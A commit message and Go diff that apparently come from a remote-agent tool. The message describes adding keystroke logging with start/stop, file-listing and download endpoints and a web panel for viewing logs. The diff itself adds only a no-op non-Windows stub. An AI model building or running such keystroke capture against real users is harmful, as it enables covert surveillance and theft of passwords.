Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

lib/keylog/hook_stub.go

@@ -0,0 +1,14 @@
+//go:build !windows
+
+package keylog
+
+func startPlatform(writer *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
+	close(done)
+	return nil
+}
+
+func stopPlatform() {}
+
+func initKeylog() error {
+	return nil
+}